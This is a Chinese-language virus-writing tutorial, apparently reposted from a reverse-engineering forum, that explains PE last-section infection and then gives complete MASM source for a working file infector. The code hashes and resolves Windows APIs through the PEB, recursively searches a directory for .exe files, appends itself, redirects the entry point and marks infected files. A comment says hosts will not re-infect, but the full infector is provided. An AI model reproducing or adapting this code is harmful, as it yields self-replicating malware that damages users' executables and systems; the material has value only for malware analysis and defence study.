原文:http://www.pediy.com/kssd/index.html -- 病毒技术 -- 病毒知识 -- Anti Virus专题
今天我们的感染方式是扩展末尾节,因为它很简单、稳定、快捷。那么扩展末尾节顾名思义就是针对被感染对象的最后一个节的扩展。将尾部节的大小扩充,然后将我们的病毒代码Write进去,修改若干的PE结构成员。 知道这些,你肯定会问修改哪些若干成员,为了给大家更直白的感觉,下面我列出了感染中需要修改的结构成员。
1. SizeOfImage 50h
2. SizeOfRawData 10h
3. VirtualSize 08h
4. Characteristics 24h
5. AddressOfEntryPoint 28h
6. e_cblp + e_cp 02h ;4字节感染标记,利用你的创造性,来吧。
后面给出的数值则是这些成员相对于结构的偏移。这是为了我们后面的写Raw代码时候的方便.
获得对齐文件大小后,我们UnMap掉映射文件,然后关闭文件映射对象。因为我们等下需要以指定的大小(也就是刚刚我们获得的对齐文件大小)来创建文件映射对象,这样就免得我们通过SetEndOfFile函数来增加我们的文件长度了。
由于我们要定位最后一个节表的偏移,所以此时我们要通过PE Header的偏移 + 74h 来到数据目录段后再 + [NumberOfRvaAndSizes]*8 + [NumberOfSections - 1]* 28h 。因为我们事先不知道对方的程序是否做过优化或者是否有几个数据目录结构。所以我们需要读取它的数量*数据目录的结构大小来定位节表。那么+ [NumberOfSections - 1]* 28h 我想大家应该也知道了吧,因为我们要定位末尾节表偏移,所以+ [节数量-1]*节表结构的字节大小。
因为我们要将我们的病毒体整个写入到我们末尾节的尾部(这里的尾部指的是它代码后面),所以我们需要定位末尾节它代码大小后面的偏移。我们通过节表中的SizeOfRawData + pointerToRawData来定位 (不知道这两个成员是分别做什么用的吗?是文件在磁盘的物理偏移和大小)。
如果想要我们的程序从我们写入的偏移开始执行,我们需要修改被感染程序的OEP,也就是PE Header结构的AddressOfEntryPoint。但是我们需要注意的一点是这个成员是RVA地址,也就是映射到内存后基于基地址的偏移。所以我们需要以节表映射到内存的偏移 + 原始节在磁盘中的字节大小。 不用说肯定是节表的SizeOfRawData + virtual address了。 OK,此时我们可以将两个成员相加后得到偏移写入到AddressOfEntryPoint成员了
接下来我说下如何计算jmp 到oep的相对偏移,因为我们都知道我们jmp到一个地址,实际上编译器编译后是写入的是我们jmp本身所处的地址基于要跳向地址的偏移,它是一个相对偏移,那么我们如何来计算这个相对偏移呢?我们新Oep偏移跳转到之前程序的OEP,这肯定是一个long跳转也就是5字节的。如果我们仅仅是从低地址跳向高地址,那么直接通过高地址 - 低地址的偏移 - 5就可以了。 但是我们是高地址跳向低地址。所以我们通过低地址 - 高地址得到补码后 + 5则为我们高地址基于低地址的偏移。因为很懒的缘故吧,所以我通过新OEP +5字节后,在通过原Oep - 新Oep。得到值则为新Oep相对原Oep的偏移。然后就可以将这个4字节值写入到我们jmp 后面的偏移了.
代码如下:
.386
.model flat, stdcall
option casemap:none
include windows.inc
.code
@pushsz macro str
call @f
db str, 0
@@:
endm
VirusFlag equ 'Test'
VirusEntry:
pushad
pushfd
call Dels
Dels:
pop ebp
sub ebp, Dels
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 填充API函数地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
call GetKrnl32
lea edi, [ebp + dwFuncs]
call GetApi
@pushsz 'user32'
call dword ptr [ebp + _LoadLibraryA]
call GetApi
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 为了没有危害性,程序判断了在宿主中不开启感染函数
; 这样也就无法通过宿主来进行传播,宿主仅调用提示函数
; 感染仅在Loader中开启......
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
assume fs:nothing
mov eax, fs:[30h] ; PEB
mov eax, [eax + 08h] ; PEB.lpImageBaseAddress
cmp dword ptr [eax + 2], VirusFlag ; 判断宿主是否已被感染
jne _Loader
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 消息框警告用户已经中毒
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
sub edx, edx
push 30h
lea eax, [ebp + szTitle]
push eax
lea eax, [ebp + szText]
push eax
push edx
call dword ptr [ebp + _MessageBoxA]
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
popfd
add esp, 4 * 8 ; 跳过pushad,如果用popad会覆盖ebp
lea eax, [ebp + JmpHost]
jmp eax ; 跳到原入口
_Loader:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Loader感染过程
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
mov edx, ebp
push 'exe.'
@pushsz 'F:\Test'
call InjectDisk
popfd
popad
ret
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 获得kernel32基地址
; Input: nothing
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
GetKrnl32:
push dword ptr 006ch
push dword ptr 006c0064h
push dword ptr 002e0032h
push dword ptr 0033006ch
push dword ptr 0065006eh
push dword ptr 00720065h
push word ptr 006bh
mov ebx, esp
assume fs:nothing
mov eax, fs:[30h]
mov eax, [eax + 0ch]
mov eax, [eax + 1ch]
_Search:
or eax, eax
je _NotFound
inc eax
je _NotFound
dec eax
mov ecx, dword ptr 13 ; ecx = 比较长度
lea esi, [eax + 1ch]
mov esi, [esi + 4] ; esi -> UNICODE_STR.Buffer
mov edi, ebx
repz cmpsw
or ecx, ecx
jz _Found
mov eax, [eax]
jmp _Search
_NotFound:
or eax, 0ffffffffh
jmp _Over
_Found:
mov eax, [eax + 08h]
_Over:
add esp, 26
ret
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 获取并填充API函数地址
; Input: eax = Krnl32Base, edi = HashFuncAddress
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
GetApi:
pushad
xchg eax, ebx ; ebx = Krnl32Base
mov eax, [ebx + 3ch]
mov esi, [eax + ebx + 78h] ; Get Export RVA
lea esi, [esi + ebx + 18h] ; esi -> Export NumberOfNames
cld
lodsd
xchg eax, ecx ; ecx = NumberOfNames
lodsd
push eax ; [esp] = AddressOfFunctions
lodsd
add eax, ebx
xchg eax, edx ; edx = AddressOfNames
lodsd
add eax, ebx
xchg eax, ebp ; ebp = AddressOfNameOrdinals
xchg edx, esi ; esi = AddressOfNames
_NextFunc:
lodsd
add eax, ebx ; eax = API函数名字符串
xor edx, edx
_CalcHash:
rol edx, 3
xor dl, byte ptr [eax]
inc eax
cmp byte ptr [eax], 0
jnz _CalcHash
push edi ; 保存dwFuncs
_ScanDwFuncs:
cmp [edi], edx
jnz _SkipFunction
movzx eax, word ptr [ebp] ; 取出对应的索引
shl eax, 2
add eax, [esp + 4] ; 索引 * 4加到AddressOfFunctions
mov eax, [eax + ebx] ; 取出API函数RVA
add eax, ebx ; 获得API函数地址
scasd ; 跳过Hash
stosd ; 存储地址并增加edi
jmp _Ret
_SkipFunction:
scasd
scasd ; 2个scasd后指向dwFuncs中的下一个
xor eax, eax
cmp dword ptr [edi], eax
jne _ScanDwFuncs
_Ret:
pop edi ; 还原edi指向dwFuncs首地址
add ebp, 2 ; ebp指向AddressOfNameOrdions中的下一个索引
loop _NextFunc
pop ecx
popad
ret
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 感染磁盘函数
; Input: edx = Dels(重定位偏移差)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
InjectDisk proc lpszDirectory, dwFileType
local @hFindFile
local @stWfd:WIN32_FIND_DATA
local @szSearch[MAX_PATH]:byte
pushad
mov ebx, edx ; ebx = 重定位
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; esi = @szSearch
; copy文件路径到esi
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
lea esi, @szSearch
push lpszDirectory
push esi
call dword ptr [ebx + _lstrcpyA]
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; esi + '\*.*', edi = ptr WIN32_FIND_DATA
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
@pushsz '\*.*'
push esi
call [ebx + _lstrcatA]
lea edi, @stWfd
push edi
push esi
call dword ptr [ebx + _FindFirstFileA]
inc eax
jz _ID_Ret ; 判断是否返回INVALID_HANDLE_VALUE(-1)
dec eax
mov @hFindFile, eax
.repeat
pushad
mov edi, esi ; esi = @szSearch
xor eax, eax
mov ecx, MAX_PATH
rep movsb
popad
cmp byte ptr [edi + WIN32_FIND_DATA.cFileName], '.' ; 比较是不是目录 .
je _FindNext
push lpszDirectory
push esi
call dword ptr [ebx + _lstrcpyA]
@pushsz '\'
push esi
call dword ptr [ebx + _lstrcatA] ; esi = 路径 + '\'
lea edx, [edi + WIN32_FIND_DATA.cFileName] ; edx -> 文件名
push edx
push esi
call [ebx + _lstrcatA] ; 链接文件名到esi
mov eax, [edi.WIN32_FIND_DATA.dwFileAttributes]
and eax, FILE_ATTRIBUTE_DIRECTORY ; 属性是否是目录
.if eax == FILE_ATTRIBUTE_DIRECTORY ; 如果是目录就把当前路径
mov edx, ebx ; 作为参数传给Inject_Disk
push dwFileType ; 进入这个目录感染
push esi
call InjectDisk
jmp _FindNext
.endif
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 转换小写
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
push esi
call StrLwr
push esi
call dword ptr [ebx + _lstrlenA]
mov edx, dwFileType
cmp dword ptr [esi + eax - 4], edx ; 比较扩展名是否为'.exe'
jne _FindNext
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 进行感染工作
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
mov eax, esi
call InjectFile
_FindNext:
push edi ; edi -> WIN32_FIND_DATA
push @hFindFile
call dword ptr [ebx + _FindNextFileA]
.until eax == 0
push @hFindFile
call dword ptr [ebx + _FindClose]
_ID_Ret:
popad
ret
InjectDisk endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 字符串转换小写函数
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
StrLwr proc uses esi edi, pString
mov esi, pString
mov edi, esi
@@:
lodsb ; 从esi取一个字符送入al
test al, al
je @f
.if al >= 'A' && al <= 'Z'
or al, 20h
stosb ; 转换为小写送入edi
jmp @b
.endif
stosb
jmp @b ; 如果是小写直接送入
@@:
ret
StrLwr endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Input: eax - 对齐的值 ecx - 对齐因子
; OutPut: eax - 对齐值
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
AlignSize:
pushad
xor edx, edx
push eax
div ecx
pop eax
sub ecx, edx
add eax, ecx
mov [esp + 4 * 7], eax
popad
ret
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 感染过程
; Input: eax - 文件路径
; Output: nothing
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
InjectFile:
pushad
sub edx, edx
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; mov ebp, ebx .... ebp = Dels
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
mov ebp, ebx
push edx
push edx
push OPEN_EXISTING
push edx
push FILE_SHARE_READ
push GENERIC_WRITE or GENERIC_READ
push eax
call dword ptr [ebp + _CreateFileA]
inc eax ; 判断eax是否等于INVALID_HANDLE_VALUE(-1)
jz _OpenFaild
dec eax
xchg eax, ebx ; ebx = 文件句柄
xor edx, edx
push edx
push edx
push edx
push PAGE_READWRITE
push edx
push ebx
call dword ptr [ebp + _CreateFileMappingA]
test eax, eax
jz _OpenMapFaild
xchg eax, esi ; esi = 文件映射句柄
sub edx, edx
push edx
push edx
push edx
push FILE_MAP_WRITE
push esi
call dword ptr [ebp + _MapViewOfFile]
test eax, eax
jz _MapFileFaild
xchg eax, edi ; edi = 文件映射内存首地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
cmp word ptr [edi], 'ZM'
jnz _IF_Ret
cmp dword ptr [edi + 2], VirusFlag ; 检查是否已被感染
jz _IF_Ret ; 如果等于说明该文件已感染过
push 0
push ebx
call dword ptr [ebp + _GetFileSize] ; 获取文件长度, eax - FileSize
add eax, VirusSize
mov edx, [edi + 3ch]
add edx, edi ; edx -> PE Header
push dword ptr [edx + 3ch]
pop ecx ; ecx = FileAlignment文件对齐粒度
call AlignSize ; eax = VirusSize + FileSize按文件粒度对齐后大小
pushad
push edi
call dword ptr [ebp + _UnmapViewOfFile]
push esi
call dword ptr [ebp + _CloseHandle]
popad
push eax
xor edx, edx
push edx
push eax ; 为病毒留下空间
push edx
push PAGE_READWRITE
push edx
push ebx
call dword ptr [ebp + _CreateFileMappingA]
pop ecx ; ecx = VirusSize + FileSize文件粒度对其
or eax, eax
jz _OpenMapFaild
xchg eax, esi ; esi = 文件映射句柄
sub edx, edx
push ecx
push edx
push edx
push FILE_MAP_WRITE
push esi
call dword ptr [ebp + _MapViewOfFile]
test eax, eax
jz _MapFileFaild
xchg eax, edi ; edi = 内存映射首地址
mov edx, [edi + 3ch]
cmp word ptr [edx + edi], 'EP'
jnz _IF_Ret
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; edx - PE头结构偏移
; ecx - 节表数量-1的大小
; eax - 数据目录段大小
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
add edx, edi ; edx - PE Header
movzx ecx, word ptr [edx + 06h] ; ecx = 节的数量
dec ecx ; 节的数量-1
imul ecx, ecx, 28h ; ecx = 节表-1的大小
mov eax, [edx + 74h] ; eax = 数据目录数量
shl eax, 3 ; eax = 数据目录总大小
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; edx - 指向末尾节表位置
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
add edx, 78h
add edx, eax
add edx, ecx ; edx -> 最后一个节表首地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; ecx = SizeOfRawData + PointerToRawData
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
mov ecx, [edx + 14h]
add ecx, [edx + 10h] ; ecx = 最后一个节末尾处,即文件末尾的文件偏移
push ecx
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; New OEP = SizeOfRawData + VitrualAddress
; eax = [edx + 10h] + [edx + 0ch]
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
mov eax, [edx + 10h]
add eax, [edx + 0ch] ; eax = 文件末尾Rva
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 计算jmp相对偏移值,然后写入
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
mov ecx, [edi + 3ch]
pushad
xchg eax, edx ; edx = New OEP
add edx, JmpSize ; 应为jmp的操作数是目的地址和jmp下一跳指令地址的差值
; 而jmp是从JmpHost处开始执行的,所以要将edx(Virus入口偏移)加到JmpHost处
; 让JmpHost做"New OEP"来计算
add edx, 5 ; New OEP + 5 - Old OEP
mov eax, [ecx + edi + 28h] ; eax = Old OEP
sub eax, edx
mov [ebp + JmpHost + 1], eax ; 用eax覆盖jmp VirusEntry中的VirusEntry4字节数据
popad
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; [ecx + edi + 28h] = AddressOfEntryPoint
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
mov [ecx + edi + 28h], eax ; 修改入口
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; [edx + 10h] - SizeOfRawData
; [ecx + edi + 3ch] - File Aligment
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
mov eax, [edx + 10h]
add eax, VirusSize ; eax = 最后一个节长度加上病毒的长度
mov ecx, [edi + 3ch]
mov ecx, [ecx + edi + 3ch]
call AlignSize ; eax = 文件粒度对齐后
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; [edx + 10h] - SizeOfRawData
; [edx + 08h] - VirtualSize
; [ecx + edi + 50h] - SizeOfImage
; 0A0000020h - 可读可写可执行的节属性
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
mov [edx + 10h], eax ; eax = 按文件粒度对齐后的最后一个节长度+VirusSize
mov [edx + 08h], eax
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; eax + VirtualAddress
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
add eax, [edx + 0ch]
mov ecx, [edi + 3ch]
mov [ecx + edi + 50h], eax
or dword ptr [edx + 24h], 0A0000020h ; 修改节属性
mov dword ptr [edi + 2], VirusFlag ; 添加感染标记
pop eax ; 取出临时存储
pushad
xchg eax, esi ; esi = 文件末尾的文件偏移
add esi, edi
xchg esi, edi ; edi = 文件末尾地址
lea esi, [ebp + VirusEntry] ; esi = 病毒首地址
mov ecx, VirusSize ; 病毒长度
rep movsb ; 复制
popad
_IF_Ret:
push edi
call dword ptr [ebp + _UnmapViewOfFile]
_MapFileFaild:
push esi
call dword ptr [ebp + _CloseHandle]
_OpenMapFaild:
push ebx
call dword ptr [ebp + _CloseHandle]
_OpenFaild:
popad
ret
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Jmp HostAddress
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
JmpHost:
JmpSize = $ - VirusEntry ; Virus入口到JmpHost的长度
jmp VirusEntry ; 这里写VirusEntry是因为要留出空间以便改写
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
szText db 'Win32 PE Virus Demo', 0
szTitle db 'Win32 PE Virus Demo', 0
dwFuncs:
dd 00C71F989h
_lstrcpyA dd 0
dd 00C71FDA1h
_lstrcatA dd 0
dd 00C71E271h
_lstrlenA dd 0
dd 056B28F3Eh
_FindFirstFileA dd 0
dd 0E37EAEC3h
_FindNextFileA dd 0
dd 04AAEF03Dh
_FindClose dd 0
dd 038C62A7Ah
_CreateFileA dd 0
dd 058D8C545h
_WriteFile dd 0
dd 00BE25545h
_ReadFile dd 0
dd 09554EFE7h
_GetFileSize dd 0
dd 0C0D6D616h
_CloseHandle dd 0
dd 0A412FD89h
_LoadLibraryA dd 0
dd 0F2509B84h
_GetProcAddress dd 0
dd 0D45D7149h
_MapViewOfFile dd 0
dd 04F7CD23Ch
_CreateFileMappingA dd 0
dd 0D45C1049h
_UnmapViewOfFile dd 0
dd 014D14C51h
_MessageBoxA dd 0
dd 0
VirusSize = $ - VirusEntry
end VirusEntry